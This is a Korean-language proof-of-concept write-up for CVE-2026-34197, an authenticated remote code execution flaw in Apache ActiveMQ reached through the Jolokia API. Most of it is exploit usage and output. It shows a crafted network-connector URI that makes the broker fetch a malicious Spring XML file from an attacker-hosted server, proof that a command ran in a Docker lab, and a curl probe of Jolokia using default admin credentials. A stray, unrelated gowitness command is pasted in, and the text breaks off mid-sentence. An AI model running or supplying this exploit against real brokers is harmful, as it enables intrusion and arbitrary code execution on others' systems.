
CVE-2026-34197에 대한 개념 증명 익스플로잇으로, Jolokia JMX-HTTP 브리지 및 Spring XML 빈 주입을 통해 Apache ActiveMQ에서 인증된 원격 코드 실행을 시연합니다.
설명
Apache ActiveMQ Broker, Apache ActiveMQ에서 부적절한 입력 검증, 코드 생성 제어 부적절(‘코드 인젝션’) 취약점입니다. Apache ActiveMQ Classic은 웹 콘솔의 /api/jolokia/에서 Jolokia JMX-HTTP 브리지를 노출합니다. 기본 Jolokia 액세스 정책은 BrokerService.addNetworkConnector(String) 및 BrokerService.addConnector(String)를 포함한 모든 ActiveMQ MBean(org.apache.activemq:*)에 대해 exec 작업을 허용합니다. 인증된 공격자는 조작된 discovery URI를 사용하여 이러한 작업을 호출할 수 있으며, 이를 통해 VM 전송의 brokerConfig 매개변수가 ResourceXmlApplicationContext를 사용하여 원격 Spring XML 애플리케이션 컨텍스트를 로드하도록 합니다. Spring의 ResourceXmlApplicationContext가 BrokerService가 구성을 검증하기 전에 모든 싱글톤 빈을 인스턴스화하므로 Runtime.exec()와 같은 빈 팩토리 메서드를 통해 브로커의 JVM에서 임의 코드 실행이 발생합니다. 이 문제는 Apache ActiveMQ Broker: 5.19.4 이전, 6.0.0에서 6.2.3 이전; Apache ActiveMQ All: 5.19.4 이전, 6.0.0에서 6.2.3 이전; Apache ActiveMQ: 5.19.4 이전, 6.0.0에서 6.2.3 이전에 영향을 미칩니다. 사용자는 이 문제를 해결한 버전 5.19.4 또는 6.2.3으로 업그레이드하는 것이 좋습니다.
자세한 정보: 링크
GitHub: 링크```bash ❯ docker compose up -d
### Docker 이미지
실행:
```sh
docker run -it --rm --name gowitness -v $(pwd):/data ghcr.io/sensepost/gowitness report serve
``````bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
LHOST는 컴퓨터의 사설 IP입니다. Windows에서는 ipconfig를, Linux에서는 ifconfig를 사용할 수 있습니다.
RCE 확인```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE 성공, 파일 `blahblah.txt`가 대상 시스템에 생성되었습니다.
# 분석 단계
## 동적 분석```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
런타임 로그 또한 Jolokia가 활성화되어 ActiveMQ 웹 콘솔을 통해 노출되었음을 확인했습니다:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
연결 확인```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
이는 다음을 의미합니다: